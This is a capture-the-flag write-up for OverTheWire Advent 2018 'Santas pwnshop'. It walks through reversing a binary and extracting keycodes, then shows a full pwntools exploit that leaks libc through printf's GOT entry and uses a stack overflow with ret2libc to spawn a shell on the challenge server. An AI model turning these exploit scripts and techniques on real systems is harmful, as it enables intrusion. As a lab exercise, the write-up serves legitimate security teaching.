Rating:
# Santas pwnshop - Pwn (300)
Link: https://advent2018.overthewire.org/dashboard/challenges
## Task description
The task description just asks us to connect to a IP and port with netcat.
So letst do it.
![Task](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2013-58-43.png)
## Login
Once you connect to the specified IP and port you are presented with a simple menu choice.
Either leave or get a present.
Selecting 2 exists, while selecting 1 prints a base64 encoded string to stdout.
![base64_1](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2014-00-48.png)
![base64_2](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2014-00-25.png)
So far so good.
Extracting and decoding the base64 encoded string gives a gziped file which contains a 32bit Linux ELF binary.
Running checksec on it gives us following result:
![checksec](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2020-02-09.png)
So now its time to throw the binary into radare and inspect it.
The main function is pretty simple so lets jump directly into the print_menu function.
![main](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-19-21.png)
![print_menu](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-20-34.png)
Seems that there is a secret menu. If you enter 666 (0x29a) you get presented a prompt where you are asked to enter 16 keycodes.
![secret_menu](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2020-11-38.png)
So lets check with radare what we need to enter.
![keycodes1](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-25-13.png)
![keycode2](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-25-56.png)
So it seems like we just need to enter the keycodes and extract them from radare. The code just seems to check for fixed values and then call the win function.
Stepping through the code with radare in debug mode and entering the values extracted from radare confirms this.
So lets just repeat that on the server. And it fails.
Fetching the base64 string again shows that we get a new executable with different expected keycodes each time we connect.
So we need to start automating this. This will also avoid the timeouts which occur if we are not fast enough responding to the prompts from the server.
```python
from pwn import *
import time
import zlib
#connect
conn=remote('18.205.93.120',1205)
print conn.recvuntil('Northpole\n')
#fetch base64 string
conn.sendline('1')
conn.recvuntil('(')
s=conn.recvuntil(')')
#decode the base64 string and get the gzip file
gz=pwnlib.util.fiddling.b64d(s)
#extract the binary from the .gz
z=zlib.decompress((gz),16 + zlib.MAX_WBITS)
#write it to ffff.bin
f=open('ffff.bin','wb')
f.write(z)
f.close()
#now load the elf file
elf=ELF('ffff.bin')
#addresses of the compare instructions checking the keycodes
addr=['0x080487bf',
'0x080487d0',
'0x080487ef',
'0x08048800',
'0x08048811',
'0x08048830',
'0x08048841',
'0x0804884e',
'0x08048865',
'0x08048872',
'0x0804887f',
'0x08048896']
#get the values we compare against from the elf
#and store them in compvals
cmpvals=[]
for a in addr:
instr=elf.disasm(int(a,0),5)
ad=instr.split(',')[1]
cmpvals.append(ad)
#enter the secret menu
conn.recvuntil('Northpole\n')
conn.sendline('666')
print conn.recvuntil(':')
#enter the keycodes we extracted from the elf into cmpvals
conn.sendline(cmpvals[0])
print conn.recvuntil(':')
conn.sendline(cmpvals[1])
print conn.recvuntil(':')
conn.sendline('33')
print conn.recvuntil(':')
conn.sendline(cmpvals[2])
print conn.recvuntil(':')
conn.sendline(cmpvals[3])
print conn.recvuntil(':')
conn.sendline(cmpvals[4])
print conn.recvuntil(':')
conn.sendline('333')
print conn.recvuntil(':')
conn.sendline(cmpvals[5])
print conn.recvuntil(':')
conn.sendline(cmpvals[6])
print conn.recvuntil(':')
conn.sendline(cmpvals[7])
print conn.recvuntil(':')
conn.sendline('333')
print conn.recvuntil(':')
conn.sendline(cmpvals[8])
print conn.recvuntil(':')
conn.sendline(cmpvals[9])
print conn.recvuntil(':')
conn.sendline(cmpvals[10])
print conn.recvuntil(':')
conn.sendline('333')
print conn.recvuntil(':')
conn.sendline(cmpvals[11])
print conn.recvuntil('keycode: ')
```
ACCESS GRANTED!!! So far so good we entered the correct keycodes.
![correctkeycode](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2020-29-48.png)
We passed the first obstacle.
Now we need to check the win function.
![winfunction](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-27-27.png)
Seems that we reached the point where we need to pwn.
The new keycode is read into a buffer which is to small if we enter sufficiently many characters.
Seems that up to 800 are allowed.
The stack is not executable (see checksec output) above. So we need to use return to libc or a ROP style attack.
So we need to find out at which addr libc is loaded (since its different every startup).
We can use the printf function to output it.
First we need to find out where it is located. So we need the content of the glibc jumpslot.
```objdump -R santa
santa: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804cff4 R_386_GLOB_DAT __gmon_start__
0804cff8 R_386_GLOB_DAT stdin@GLIBC_2.0
0804cffc R_386_GLOB_DAT stdout@GLIBC_2.0
0804d00c R_386_JUMP_SLOT read@GLIBC_2.0
0804d010 R_386_JUMP_SLOT printf@GLIBC_2.0
0804d014 R_386_JUMP_SLOT signal@GLIBC_2.0
0804d018 R_386_JUMP_SLOT alarm@GLIBC_2.0
0804d01c R_386_JUMP_SLOT puts@GLIBC_2.0
0804d020 R_386_JUMP_SLOT exit@GLIBC_2.0
0804d024 R_386_JUMP_SLOT strtoul@GLIBC_2.0
0804d028 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804d02c R_386_JUMP_SLOT setvbuf@GLIBC_2.0
```
So we need to leak the addr at 0804d010.
0804d010 R_386_JUMP_SLOT printf@GLIBC_2.0
Next we need to use that addr and calculate the offset of system and /bin/bash.
So lets get those offsets first.
```
nm -D libc.so --defined-only | grep " system"
0003cd10 W system
nm -D libc.so --defined-only | grep " printf$"
00050b60 T printf
strings -tx libc.so | grep "/bin/sh"
17b8cf /bin/sh
```
So we need to substract 00050b60 from the addr leaked for the printf slot. And add 0003cd10 to get the system addr or
17b8cf to get the bin/sh string address.
So far so good so we now need to put this things into action.
First lets leak the addr of libc.
So we let it jump to 0x08048420. From radare we know its the printf addr.
Then we want to return to 0x08048703 back to the win function.
And we want to print the content of the printf jumpslot. We could have taken any glibc jumslot available.
So lets add 0x0804d010 as the addr we want to print out.
```
[0x080484b0]> s 0x08048420
[0x08048420]> pd 20
/ (fcn) sym.imp.printf 6
| sym.imp.printf (const char *format)
[0x080484b0]> s 0x08048703
[0x08048703]> pd 20
/ (fcn) sym.win 89
[0x08048703]> s 0x0804d010
[0x0804d010]> pd 20
;-- reloc.printf:
; CODE XREF from sym.imp.printf (0x8048420)
0x0804d010 .dword 0x08048426 ; RELOC 32 printf
```
we can see that the printf addr reloc output matches the one from objdump :).
This results into following python snippet.
```python
#overwrite the buffer with As including the EBP value.
#then put the function addr we want to jump to and the args on the stack
#we jump into printf and wan to get the addresses of libc
#so we leak the addr where libc is loaded and from the dowloaded one we get the offset to system and t
#the /bin/sh string
#0x08048420 is the addr of printf
#0x08048803 is the return addr of win where we want to return after printf was done.
#we want to get to back to the input prompt
# 0804d010 is the GOT entry for a libc function like printf
#can be obtained with objdump -R
conn.sendline('\x41'*16+'\x20\x84\x04\x08'+'\x03\x87\x04\x08'+'\x10\xd0\x04\x08')
#recv back the addr of printf add the addr in mem where libc is loaded
ss=conn.recvn(4)
sh= enhex(ss)#get back the base of libc by substracting the printf offset
base=int(enhex(p32(int(sh,16))),16)-int('0x50b60',16)
#calc the offset of the bin/sh string
shstring=base+int('0x17b8cf',16)
#calc the offset of the system call
systemcall=base+int('0x3cd10',16)
```
Now that we have the printf libc addr its time for the final step.
We just need to put the addr of libc/system and bin/sh on the stack.
Instead of the printf and the printf args.
```python
#send the addr of system + return addr to main input + addr of bin sh string
conn.sendline('\x41'*16+p32(systemcall)+'\x03\x87\x04\x08'+p32(shstring))
#getthe flag
conn.sendline('cat flag')
conn.interactive()
```
Ok. Here we go and we got the flag:
*AOTW{s4nt4_l0v3s_BL4CKh4ts}*
The full python script can be found here:
https://github.com/zero815/otwadvent2018-ctf/blob/master/santa_pwn.py
I am no python expert and this is a hack and does not follow any coding styles :).